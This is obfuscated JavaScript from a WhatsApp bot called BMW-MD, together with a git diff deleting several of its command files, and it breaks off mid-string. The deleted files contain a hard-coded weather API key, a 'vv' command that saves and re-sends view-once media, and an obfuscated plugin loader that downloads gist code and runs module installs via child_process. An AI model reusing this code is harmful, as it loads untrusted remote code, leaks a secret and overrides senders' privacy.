_0x399a08=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x168)]['create']({'text':_0x233f3e}),'footer':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x180)][_0x33c045(0x165)]({'text':'>\x20*POWERED\x20BY\x20BMW-MD*'}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message'][_0x33c045(0x1c5)]['NativeFlowMessage'][_0x33c045(0x165)]({'buttons':_0x5191a8})})}}},{});await _0x111126['relayMessage'](_0x43b9ca,_0x399a08[_0x33c045(0x146)],{'messageId':_0x399a08[_0x33c045(0x1e9)]['id']});}}else throw new Error('Invalid\x20response\x20from\x20the\x20API.');}catch(_0xbd4a57){console['error']('Error\x20getting\x20response:',_0xbd4a57[_0x33c045(0x146)]),_0x1f385f(_0x33c045(0x13d));}}),adams({'nomCom':_0x39bcb0(0x14c),'aliases':[_0x39bcb0(0x1db),_0x39bcb0(0x16e)],'reaction':'🔢','categorie':_0x39bcb0(0x149)},async(_0x29ccc3,_0x2784d3,_0x4b2f97)=>{const _0x4a02d2=_0x39bcb0,{repondre:_0x17124a,arg:_0xb9ffba,ms:_0x36614a}=_0x4b2f97;if(!_0xb9ffba||_0xb9ffba[_0x4a02d2(0x1b2)]===0x0)return _0x17124a(_0x4a02d2(0x17a));const _0x3ced1e=_0xb9ffba[_0x4a02d2(0x160)]('\x20'),_0x1bcd54=await fetch(_0x4a02d2(0x142)+_0x3ced1e),_0x2c0161=await _0x1bcd54[_0x4a02d2(0x18e)]();await _0x17124a(_0x2c0161['result']),console[_0x4a02d2(0x13a)](_0x2c0161['completion']);}),adams({'nomCom':'hd-wallpaper','aliases':[_0x39bcb0(0x19d),_0x39bcb0(0x1d0),'bw'],'reaction':'🙌','categorie':'BMW\x20PICS'},async(_0x2ba5c4,_0x2e5bf6,_0x5f2d7a)=>{const _0x563068=_0x39bcb0,{repondre:_0xc75dae,arg:_0x240660,ms:_0x2e6196}=_0x5f2d7a,_0xf05498=await fetch(_0x563068(0x177)),_0x11f2d7=await _0xf05498[_0x563068(0x18e)](),_0x1146b8=_0x11f2d7[_0x563068(0x141)][_0x563068(0x1a0)];let _0x3c87c7={'image':{'url':_0x1146b8},'caption':'*POWERED\x20BY\x20BMW-MD*'};return await _0x2e5bf6[_0x563068(0x214)](_0x2ba5c4,_0x3c87c7,{'quoted':_0x2e6196});}),adams({'nomCom':_0x39bcb0(0x1fe),'reaction':'🥂','categorie':_0x39bcb0(0x19f)},async(_0x5372a5,_0x125b1b,_0x26c57f)=>{const _0x6ea49=_0x39bcb0,{repondre:_0x14ef0b,arg:_0xef9cad,ms:_0x11e4b2}=_0x26c57f,_0x56750a=await fetch(_0x6ea49(0x177)),_0x55ffbc=await _0x56750a['json'](),_0x4f4197=_0x55ffbc['urls'][_0x6ea49(0x1a0)];let _0x31224a={'image':{'url':_0x4f4197},'caption':_0x6ea49(0x191)};return await _0x125b1b['sendMessage'](_0x5372a5,_0x31224a,{'quoted':_0x11e4b2});}),adams({'nomCom':'nature','reaction':'🦗','categorie':'BMW\x20PICS'},async(_0x1cce3f,_0x1e041a,_0x4ff107)=>{const _0x4d7358=_0x39bcb0,{repondre:_0x3b8cdd,arg:_0x5d5433,ms:_0x3c94a3}=_0x4ff107,_0x2586e3=await fetch(_0x4d7358(0x177)),_0x47d143=await _0x2586e3['json'](),_0x475300=_0x47d143['urls'][_0x4d7358(0x1a0)];let _0x1ad35f={'image':{'url':_0x475300},'caption':_0x4d7358(0x1d3)};return await _0x1e041a['sendMessage'](_0x1cce3f,_0x1ad35f,{'quoted':_0x3c94a3});}),adams({'nomCom':_0x39bcb0(0x210),'reaction':'⌚','categorie':_0x39bcb0(0x149)},async(_0x2ad650,_0x3124bb,_0x4e65e2)=>{const _0x62ffd9=_0x39bcb0,{repondre:_0x1b8518,arg:_0xa800df,ms:_0x56ad2e}=_0x4e65e2;try{if(!_0xa800df||_0xa800df[_0x62ffd9(0x1b2)]===0x0)return _0x1b8518(_0x62ffd9(0x1d1));const _0x55c38c=_0xa800df[_0x62ffd9(0x160)]('\x20'),_0x586819=await fetch('https://levanter.onrender.com/time?code='+_0x55c38c),_0x2817c6=await _0x586819['json'](),_0x5404ef=_0x2817c6[_0x62ffd9(0x197)][0x0][_0x62ffd9(0x202)],_0x55c1d7=_0x2817c6['result'][0x0]['time'],_0x59052b=_0x2817c6['result'][0x0][_0x62ffd9(0x16b)];await _0x1b8518(_0x62ffd9(0x1cc)+_0x5404ef+_0x62ffd9(0x18d)+_0x55c1d7+_0x62ffd9(0x1a4)+_0x59052b+_0x62ffd9(0x175));}catch(_0x24a3c5){_0x1b8518(_0x62ffd9(0x1f4));}}),adams({'nomCom':_0x39bcb0(0x1b6),'reaction':'🫵','categorie':_0x39bcb0(0x1f0)},async(_0x220b72,_0xcf332,_0x4a395a)=>{const _0x189cc7=_0x39bcb0,{repondre:_0x1e19f3,arg:_0x18b9a6,ms:_0xfe697b}=_0x4a395a,_0x2292c3=await fetch(_0x189cc7(0x1ef)),_0x280389=await _0x2292c3[_0x189cc7(0x18e)]();await _0x1e19f3(_0x280389['result']),console['log'](_0x280389[_0x189cc7(0x193)]);}),adams({'nomCom':_0x39bcb0(0x174),'reaction':'💀','categorie':_0x39bcb0(0x1f0)},async(_0x132231,_0x58225f,_0x4ccd5a)=>{const _0x424157=_0x39bcb0,{repondre:_0x92e9ca,arg:_0x4f26e4,ms:_0xfbb66}=_0x4ccd5a,_0x298364=await fetch(_0x424157(0x1ed)),_0x247197=await _0x298364['json']();await _0x92e9ca(_0x247197[_0x424157(0x197)]),console[_0x424157(0x13a)](_0x247197[_0x424157(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1c6),'reaction':'💥','categorie':_0x39bcb0(0x1a7)},async(_0x2cede3,_0x50aa8e,_0x4e5170)=>{const _0x3eba05=_0x39bcb0,{repondre:_0x3e453a,arg:_0x3ba799,ms:_0x4dc92d}=_0x4e5170;try{if(!_0x3ba799||_0x3ba799[_0x3eba05(0x1b2)]===0x0)return _0x3e453a(_0x3eba05(0x200));const _0x124e27=_0x3ba799[_0x3eba05(0x160)]('\x20'),_0x297b74=_0x3eba05(0x1b9)+_0x124e27;let _0x3c5bb8=_0x3eba05(0x1f8);_0x50aa8e[_0x3eba05(0x214)](_0x2cede3,{'image':{'url':_0x297b74},'caption':_0x3c5bb8},{'quoted':_0x4dc92d});}catch(_0x520246){console[_0x3eba05(0x1ee)](_0x3eba05(0x13f),_0x520246[_0x3eba05(0x146)]||_0x3eba05(0x161)),_0x3e453a(_0x3eba05(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x205),'reaction':'😁','categorie':_0x39bcb0(0x1f0)},async(_0xf64f00,_0x9d6120,_0x362450)=>{const _0x38cf0f=_0x39bcb0,{repondre:_0x1f4b70,arg:_0xbd3eda,ms:_0x183d1a}=_0x362450,_0x5524c8=await fetch(_0x38cf0f(0x1f2)),_0x2463f6=await _0x5524c8[_0x38cf0f(0x18e)]();await _0x1f4b70(_0x2463f6[_0x38cf0f(0x197)]),console[_0x38cf0f(0x13a)](_0x2463f6[_0x38cf0f(0x193)]);}),adams({'nomCom':_0x39bcb0(0x15c),'reaction':'🤩','categorie':'Fun'},async(_0x4f29e8,_0x335731,_0x3e271b)=>{const _0x5cc2cc=_0x39bcb0,{repondre:_0x245bff,arg:_0x4b1493,ms:_0x2c1a50}=_0x3e271b,_0x1d666e=await fetch(_0x5cc2cc(0x19e)),_0x20a6f4=await _0x1d666e[_0x5cc2cc(0x18e)]();await _0x245bff(_0x20a6f4[_0x5cc2cc(0x197)]),console[_0x5cc2cc(0x13a)](_0x20a6f4[_0x5cc2cc(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1ae),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x5422d7,_0x55a0dd,_0x5610a1)=>{const _0x13c6ad=_0x39bcb0,{repondre:_0x368869,arg:_0x3a0e9b,ms:_0x5a307a}=_0x5610a1;try{const _0x169fc7=await fetch(_0x13c6ad(0x182)),_0x528672=await _0x169fc7[_0x13c6ad(0x18e)]();if(_0x528672&&_0x528672[_0x13c6ad(0x18a)]===0xc8&&_0x528672[_0x13c6ad(0x197)]){const _0x3a020f=_0x528672[_0x13c6ad(0x197)],_0x186636=_0x13c6ad(0x207)+_0x3a020f[_0x13c6ad(0x196)]+'\x0a\x0a-\x20*Description:*\x20'+_0x3a020f[_0x13c6ad(0x140)][_0x13c6ad(0x20d)]('\x0a')[0x0]+_0x13c6ad(0x1f9)+_0x3a020f[_0x13c6ad(0x1b4)]+_0x13c6ad(0x1c7),_0x12d30b=_0x3a020f[_0x13c6ad(0x159)][_0x13c6ad(0x211)](_0x557cee=>_0x557cee&&_0x557cee!==_0x13c6ad(0x1d8));_0x12d30b?await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'image':{'url':_0x12d30b},'caption':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a}):await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'text':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a});}else await _0x368869('No\x20news\x20data\x20found.');}catch(_0x449423){console[_0x13c6ad(0x1ee)]('Error\x20fetching\x20Apple\x20news:',_0x449423),await _0x368869(_0x13c6ad(0x186));}}),adams({'nomCom':_0x39bcb0(0x1bf),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x4e84d3,_0x3a8a4b,_0x1ba5a2)=>{const _0x4aa91b=_0x39bcb0,{repondre:_0x4031d5,arg:_0x4a2f70,ms:_0x45ddc0}=_0x1ba5a2;try{const _0x1d77de=await fetch(_0x4aa91b(0x1fd)),_0x326b75=await _0x1d77de[_0x4aa91b(0x18e)]();if(_0x326b75&&_0x326b75['status']===0xc8&&_0x326b75[_0x4aa91b(0x197)]){const _0x177970=_0x326b75[_0x4aa91b(0x197)],_0x439c05=_0x4aa91b(0x1e6)+_0x177970[_0x4aa91b(0x196)]+_0x4aa91b(0x1ff)+_0x177970['date']+_0x4aa91b(0x1e5)+_0x177970[_0x4aa91b(0x204)][_0x4aa91b(0x20d)]('\x0a')[0x0]+'...\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*',_0xe25672=_0x177970[_0x4aa91b(0x190)];_0xe25672?await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'image':{'url':_0xe25672},'caption':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0}):await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'text':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0});}else await _0x4031d5(_0x4aa91b(0x1d5));}catch(_0x4b1119){console['error'](_0x4aa91b(0x17c),_0x4b1119),await _0x4031d5(_0x4aa91b(0x186));}}),adams({'nomCom':_0x39bcb0(0x13b),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0xe5a7dd,_0x3f7793,_0x500b26)=>{const _0x7cfabb=_0x39bcb0,{repondre:_0x2042cb,arg:_0x5328da,ms:_0x3c1694}=_0x500b26;try{const _0x21daa5=await fetch(_0x7cfabb(0x150)),_0x287396=await _0x21daa5[_0x7cfabb(0x18e)]();if(_0x287396&&_0x287396[_0x7cfabb(0x18a)]===0xc8&&_0x287396['result']){const _0x4644bc=_0x287396[_0x7cfabb(0x197)],_0x16ada5=_0x7cfabb(0x1c1)+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x192)]+'\x0a-\x20*Male\x20Population:*\x20'+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x147)]+'\x0a-\x20*Female\x20Population:*\x20'+_0x4644bc['current']['female']+'\x0a-\x20*Births\x20This\x20Year:*\x20'+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1c8)]+_0x7cfabb(0x20a)+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1ad)]+'\x0a-\x20*Births\x20Today:*\x20'+_0x4644bc['today']['births']+_0x7cfabb(0x16f)+_0x4644bc['today'][_0x7cfabb(0x1ad)]+_0x7cfabb(0x1f6);await _0x2042cb(_0x16ada5);}else await _0x2042cb(_0x7cfabb(0x18f));}catch(_0x14aab6){console[_0x7cfabb(0x1ee)]('Error\x20fetching\x20population\x20data:',_0x14aab6),await _0x2042cb('There\x20was\x20an\x20error\x20fetching\x20the\x20population\x20data.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':'jokes','reaction':'🤩','categorie':'Fun'},async(_0x7bb53e,_0x4b1b30,_0x57b95b)=>{const _0x4c8f02=_0x39bcb0,{repondre:_0x6f3d24,arg:_0x2436af,ms:_0xf7edd7}=_0x57b95b;try{const _0x3da5f3=await fetch(_0x4c8f02(0x1a2));if(!_0x3da5f3['ok'])throw new Error(_0x4c8f02(0x1bb));const _0x65e67a=await _0x3da5f3[_0x4c8f02(0x18e)]();await _0x6f3d24(_0x65e67a['joke']),console[_0x4c8f02(0x13a)](_0x65e67a[_0x4c8f02(0x1b8)]);}catch(_0x3209bd){console['error'](_0x4c8f02(0x14f),_0x3209bd[_0x4c8f02(0x146)]),await _0x6f3d24('Failed\x20to\x20fetch\x20a\x20joke.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x176),'reaction':_0x39bcb0(0x1dd),'categorie':'Fun'},async(_0x5e3cca,_0x46692c,_0xb674f)=>{const _0x496b52=_0x39bcb0,{repondre:_0x279ca7,arg:_0x24b59b,ms:_0x582e4e}=_0xb674f;try{const _0x527a0f=await fetch(_0x496b52(0x208)),_0x452343=await _0x527a0f[_0x496b52(0x18e)](),_0x1bbc31=_0x452343[_0x496b52(0x1c9)]['advice'];await _0x279ca7(_0x496b52(0x15b)+_0x1bbc31);}catch(_0x42a0e2){console[_0x496b52(0x1ee)](_0x496b52(0x1d9),_0x42a0e2[_0x496b52(0x146)]||'An\x20error\x20occurred'),_0x279ca7('Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request');}}),adams({'nomCom':_0x39bcb0(0x20c),'reaction':'🤔','categorie':_0x39bcb0(0x1f0)},async(_0x514a1e,_0x364b49,_0x24a545)=>{const _0x2ebb1f=_0x39bcb0,{repondre:_0xb2f12c,prefixe:_0x43d2cc,ms:_0xd4727b}=_0x24a545;try{const _0x1e5581=await fetch(_0x2ebb1f(0x143));if(_0x1e5581[_0x2ebb1f(0x18a)]!==0xc8)return _0xb2f12c(_0x2ebb1f(0x16c)+_0x1e5581['status']);const _0x14c051=await _0x1e5581[_0x2ebb1f(0x18e)]();if(_0x14c051&&_0x14c051['results']&&_0x14c051[_0x2ebb1f(0x1ec)][0x0]){const _0x351156=_0x14c051[_0x2ebb1f(0x1ec)][0x0],_0x5142ea=_0x351156[_0x2ebb1f(0x1ac)],_0x34ff37=_0x351156[_0x2ebb1f(0x1b7)],_0x39ee98=[..._0x351156[_0x2ebb1f(0x1a8)],_0x34ff37]['sort'](),_0x4df9fc=_0x39ee98[_0x2ebb1f(0x1e8)]((_0x4ab3f6,_0x15952b)=>_0x15952b+0x1+'.\x20'+_0x4ab3f6)[_0x2ebb1f(0x160)]('\x0a');await _0x364b49['sendMessage'](_0x514a1e,{'text':_0x2ebb1f(0x1df)+_0x5142ea+'\x0a\x0a'+_0x4df9fc+_0x2ebb1f(0x1c4)},{'quoted':_0xd4727b}),setTimeout(async()=>{const _0xc3973=_0x2ebb1f;await _0x364b49[_0xc3973(0x214)](_0x514a1e,{'text':_0xc3973(0x183)+_0x34ff37},{'quoted':_0xd4727b});},0x2710);}else throw new Error(_0x2ebb1f(0x15a));}catch(_0xad0d4b){console[_0x2ebb1f(0x1ee)](_0x2ebb1f(0x1d2),_0xad0d4b[_0x2ebb1f(0x146)]),await _0x364b49[_0x2ebb1f(0x214)](_0x514a1e,{'text':_0x2ebb1f(0x1e2)},{'quoted':_0xd4727b});}}),adams({'nomCom':_0x39bcb0(0x1a1),'reaction':'✨','categorie':_0x39bcb0(0x149)},async(_0x598c6b,_0x29bc28,_0x2541ad)=>{const _0x4e25ba=_0x39bcb0,{repondre:_0x1ce934,arg:_0x27b838,ms:_0x369d1a}=_0x2541ad;try{const _0x44e3b9=await fetch(_0x4e25ba(0x1d6)),_0x378cec=await _0x44e3b9[_0x4e25ba(0x18e)](),_0x3ebee4=Math[_0x4e25ba(0x166)](Math[_0x4e25ba(0x1fe)]()*_0x378cec[_0x4e25ba(0x1b2)]),_0x3393d6=_0x378cec[_0x3ebee4];await _0x1ce934('*Here\x20is\x20an\x20inspirational\x20quote\x20for\x20you:*\x20\x0a\x22'+_0x3393d6['text']+_0x4e25ba(0x1ca)+_0x3393d6[_0x4e25ba(0x145)]);}catch(_0x32eb0f){console[_0x4e25ba(0x1ee)]('Error:',_0x32eb0f['message']||'An\x20error\x20occurred'),_0x1ce934(_0x4e25ba(0x1fa));}}),adams({'nomCom':'gpt4','reaction':'📡','categorie':'AI'},async(_0x2cc548,_0x17d893,_0x1b316f)=>{const _0x536879=_0x39bcb0,{repondre:_0x2bbf2f,arg:_0x2db5e4,ms:_0xf847b2}=_0x1b316f;try{if(!_0x2db5e4||_0x2db5e4[_0x536879(0x1b2)]===0x0)return _0x2bbf2f('Please\x20ask\x20a\x20question.');const _0x51a8f6=encodeURIComponent(_0x2db5e4['join']('\x20')),_0x4df159=_0x536879(0x1c0)+_0x51a8f6,_0x20494c=await axios[_0x536879(0x185)](_0x4df159),_0x8c4d0e=_0x20494c['data'];if(_0x8c4d0e&&_0x8c4d0e[_0x536879(0x146)]&&_0x8c4d0e[_0x536879(0x146)][_0x536879(0x1a9)]){const _0x282442=_0x8c4d0e['message']['content'],_0x1b7d96=_0x282442['match'](/```([\s\S]*?)```/),_0x30aa0f=[{'name':_0x536879(0x1f3),'buttonParamsJson':JSON['stringify']({'display_text':_0x536879(0x1ab),'url':_0x536879(0x153)})}];if(_0x1b7d96){const _0x1e6911=_0x1b7d96[0x1];_0x30aa0f[_0x536879(0x187)]({'name':_0x536879(0x203),'buttonParamsJson':JSON[_0x536879(0x189)]({'display_text':'📋\x20COPY\x20RESULTS','id':'copy_code','copy_code':_0x1e6911})});}const _0x26e2e4=generateWAMessageFromContent(_0x2cc548,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x536879(0x1f1)][_0x536879(0x1c5)]['create']({'body':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x168)][_0x536879(0x165)]({'text':_0x282442}),'footer':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x180)][_0x536879(0x165)]({'text':_0x536879(0x1a6)}),'header':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x17f)][_0x536879(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x1dc)]['create']({'buttons':_0x30aa0f})})}}},{});await _0x17d893['relayMessage'](_0x2cc548,_0x26e2e4[_0x536879(0x146)],{'messageId':_0x26e2e4['key']['id']});}else throw new Error(_0x536879(0x14a));}catch(_0x232746){console[_0x536879(0x1ee)](_0x536879(0x17d),_0x232746[_0x536879(0x146)],_0x232746[_0x536879(0x20f)]?.[_0x536879(0x16d)]||_0x536879(0x1b0)),_0x2bbf2f(_0x536879(0x1b3));}}),adams({'nomCom':_0x39bcb0(0x1a5),'aliases':['gptbard'],'categorie':'AI'},async(_0x2f09d4,_0x433723,_0x466bad)=>{const _0x5c51d3=_0x39bcb0,{ms:_0x4a991e,repondre:_0x54d8f0,arg:_0x32a609}=_0x466bad;if(!_0x32a609[0x0]){_0x54d8f0(_0x5c51d3(0x1ce));return;}try{await _0x433723[_0x5c51d3(0x214)](_0x2f09d4,{'text':_0x5c51d3(0x164)},{'quoted':_0x4a991e});const _0xfc47d5=_0x466bad['nomAuteurMessage']||'defaultUser',_0x1fcc96=_0x32a609[_0x5c51d3(0x160)]('\x20'),_0x539a35=_0x5c51d3(0x19c)+_0xfc47d5+'&query='+encodeURIComponent(_0x1fcc96),_0x1058e5=await fetch(_0x539a35),_0x1b34b5=await _0x1058e5[_0x5c51d3(0x18e)]();if(!_0x1b34b5[_0x5c51d3(0x179)]){_0x54d8f0(_0x5c51d3(0x155));return;}const _0x45ca84=_0x1b34b5[_0x5c51d3(0x179)],_0x26bea3=[{'name':'cta_url','buttonParamsJson':JSON['stringify']({'display_text':_0x5c51d3(0x1ab),'url':_0x5c51d3(0x153)})}],_0x2890f1=generateWAMessageFromContent(_0x2f09d4,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x165)]({'body':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x168)]['create']({'text':_0x45ca84}),'footer':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x180)][_0x5c51d3(0x165)]({'text':_0x5c51d3(0x162)}),'header':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message']['InteractiveMessage']['NativeFlowMessage'][_0x5c51d3(0x165)]({'buttons':_0x26bea3})})}}},{});await _0x433723['relayMessage'](_0x2f09d4,_0x2890f1[_0x5c51d3(0x146)],{'messageId':_0x2890f1['key']['id']});}catch(_0xb7afdd){_0x54d8f0('A\x20fatal\x20error\x20has\x20occurred...\x20\x0a\x20'+_0xb7afdd[_0x5c51d3(0x146)]);}});
diff --git a/scs/bmwn.js b/scs/bmwn.js
deleted file mode 100644
index e1bf6a4..0000000
--- a/scs/bmwn.js
+++ /dev/null
@@ -1,26 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "weather",
- 'reaction': "🌡️",
- 'categorie': "Search"
-},
- async (_0x626df9, _0x17e5bb, _0x37baf6) => {
- const _0x445647 = _0x1180fa.join(" ");
- if (!_0x445647) {
- return _0xecdf09("Give me location...");
- }
- const _0x470189 = await fetch("https://api.openweathermap.org/data/2.5/weather?q=" + _0x445647 + "&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en");
- const _0x4bfc6 = await _0x470189.json();
- const _0x3cf19a = _0x4bfc6.name;
- const _0x52e997 = _0x4bfc6.main.temp;
- const _0x32180e = _0x4bfc6.weather[0x0].description;
- const _0x2da493 = _0x4bfc6.main.humidity;
- const _0x368581 = _0x4bfc6.wind.speed;
- const _0x28a97c = _0x4bfc6.rain ? _0x4bfc6.rain['1h'] : 0x0;
- const _0x39a4af = _0x4bfc6.clouds.all;
- const _0x41b2f8 = new Date(_0x4bfc6.sys.sunrise * 0x3e8);
- const _0x4393a0 = new Date(_0x4bfc6.sys.sunset * 0x3e8);
- await _0xecdf09(" *BMW-MD WEATHER UPDATES* \n\n❄️ Weather in " + _0x3cf19a + "\n\n🌡️ *Temperature:* " + _0x52e997 + "°C\n📝 *Description:* " + _0x32180e + "\n❄️ *Humidity:* " + _0x2da493 + "%\n🌀 *Wind Speed:* " + _0x368581 + " m/s\n🌧️ *Rain Volume (last hour):* " + _0x28a97c + " mm\n☁️ *Cloudiness:* " + _0x39a4af + "%\n🌄 *Sunrise:* " + _0x41b2f8.toLocaleTimeString() + "\n🌅 *Sunset:* " + _0x4393a0.toLocaleTimeString() + "\n🌫️ *Latitude:* " + _0x4bfc6.coord.lat + "\n🌪️ *Longitude:* " + _0x4bfc6.coord.lon + "\n\n🗺 *Country:* " + _0x4bfc6.sys.country + "\n\n\n*°Powered by BMW-MD*");
-});
diff --git a/scs/bmwo.js b/scs/bmwo.js
deleted file mode 100644
index ef92a17..0000000
--- a/scs/bmwo.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const {ajouterUtilisateurAvecWarnCount , getWarnCountByJID , resetWarnCountByJID} = require('../lib/warn')
-const s = require("../config")
-
-
-adams(
- {
- nomCom : 'warn',
- categorie : 'Group'
-
- },async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser,verifGroupe,verifAdmin , msgRepondu , auteurMsgRepondu} = commandeOptions;
-if(!verifGroupe ) {repondre('this is a group commands') ; return};
-
-if(verifAdmin || superUser) {
- if(!msgRepondu){repondre('reply a message of user to warn'); return};
-
- if (!arg || !arg[0] || arg.join('') === '') {
- await ajouterUtilisateurAvecWarnCount(auteurMsgRepondu)
- let warn = await getWarnCountByJID(auteurMsgRepondu)
- let warnlimit = s.WARN_COUNT
-
- if( warn >= warnlimit ) { await repondre('this user reach limit of warning , so i kick him/her');
- zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove")
- } else {
-
- var rest = warnlimit - warn ;
- repondre(`this user is warn , rest before kick : ${rest} `)
- }
-} else if ( arg[0] === 'reset') { await resetWarnCountByJID(auteurMsgRepondu)
-
- repondre("Warn count is reset for this user")} else ( repondre('reply to a user by typing .warn ou .warn reset'))
-
-} else {
- repondre('you are not admin')
-}
-
- });
diff --git a/scs/bmwp.js b/scs/bmwp.js
deleted file mode 100644
index d5881a5..0000000
--- a/scs/bmwp.js
+++ /dev/null
@@ -1,37 +0,0 @@
-const {adams}=require("../Ibrahim/adams") ;
-
-
-
-adams({nomCom:"vv",categorie:"General",reaction:"🤪"},async(dest,zk,commandeOptions)=>{
-
-const {ms,msgRepondu,repondre}=commandeOptions;
-
-
-if(!msgRepondu){return repondre("*Mentionne a view once media* .");}
-
-
-if(msgRepondu.viewOnceMessageV2)
-{
- if(msgRepondu.viewOnceMessageV2.message.imageMessage)
- {
- var image =await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.imageMessage)
- var texte = msgRepondu.viewOnceMessageV2.message.imageMessage.caption
-
- await zk.sendMessage(dest,{image:{url:image},caption:texte},{quoted:ms})
- }else if(msgRepondu.viewOnceMessageV2.message.videoMessage){
-
- var video = await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.videoMessage)
-var texte =msgRepondu.viewOnceMessageV2.message.videoMessage.caption
-
-
-await zk.sendMessage(dest,{video:{url:video},caption:texte},{quoted:ms})
-
-}
-}else
-{
- return repondre("this message is not on view once .")
-}
-
-
-
-})
diff --git a/scs/bmwplns.js b/scs/bmwplns.js
deleted file mode 100644
index 1d9c9c2..0000000
--- a/scs/bmwplns.js
+++ /dev/null
@@ -1,119 +0,0 @@
-function _0x27c1(_0x522525,_0x19eac5){const _0x3f07a2=_0x3f07();return _0x27c1=function(_0x27c1ea,_0x1d972e){_0x27c1ea=_0x27c1ea-0x178;let _0x1e9a8c=_0x3f07a2[_0x27c1ea];return _0x1e9a8c;},_0x27c1(_0x522525,_0x19eac5);}const _0x1d3603=_0x27c1;(function(_0x5e745b,_0x113a20){const _0x18a1f9=_0x27c1,_0x3988c4=_0x5e745b();while(!![]){try{const _0xd0898a=-parseInt(_0x18a1f9(0x19f))/0x1+-parseInt(_0x18a1f9(0x19e))/0x2+parseInt(_0x18a1f9(0x1aa))/0x3*(-parseInt(_0x18a1f9(0x187))/0x4)+parseInt(_0x18a1f9(0x1ac))/0x5+parseInt(_0x18a1f9(0x1b2))/0x6+parseInt(_0x18a1f9(0x198))/0x7*(parseInt(_0x18a1f9(0x180))/0x8)+-parseInt(_0x18a1f9(0x17f))/0x9*(-parseInt(_0x18a1f9(0x1af))/0xa);if(_0xd0898a===_0x113a20)break;else _0x3988c4['push'](_0x3988c4['shift']());}catch(_0x454efe){_0x3988c4['push'](_0x3988c4['shift']());}}}(_0x3f07,0x72f7a));const a40_0x51cbee=(function(){let _0x3dea75=!![];return function(_0x596140,_0x36ea4e){const _0x3990f9=_0x3dea75?function(){if(_0x36ea4e){const _0x3e9ed6=_0x36ea4e['apply'](_0x596140,arguments);return _0x36ea4e=null,_0x3e9ed6;}}:function(){};return _0x3dea75=![],_0x3990f9;};}()),a40_0x1a7346=a40_0x51cbee(this,function(){const _0x5d3d82=_0x27c1;return a40_0x1a7346['toString']()[_0x5d3d82(0x192)](_0x5d3d82(0x18e))[_0x5d3d82(0x17b)]()[_0x5d3d82(0x194)](a40_0x1a7346)[_0x5d3d82(0x192)](_0x5d3d82(0x18e));});a40_0x1a7346();function _0x3f07(){const _0x5168a5=['8025SObEjn','resolve','525895WBXuaD','Here\x20is\x20an\x20exemple:\x0a-','\x0a*url\x20:*\x20','1110HLnDsN','https://gist.githubusercontent.com','Please\x20provide\x20a\x20valid\x20gist\x20raw\x20url','1552572cBzztY','match','then','error','toString','Modules\x20to\x20install\x20:\x20','delPlugin','startsWith','66465Hfevyk','152NyfbCg','.js','text','createWriteStream','plugin','plugin\x20list\x20:\x20for\x20listing\x20all\x20installed\x20plugins','stderr:\x20','252FWNwVJ','node:fs','../lib/plugin','end','split','join','replace','(((.+)+)+)+$','child_process','../framework/zokou','./commandes/','search','You\x20haven\x27t\x20install\x20any\x20plugin','constructor','https://gist.githubusercontent.com/','\x20removed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20remove\x20remove\x20these\x20first\x20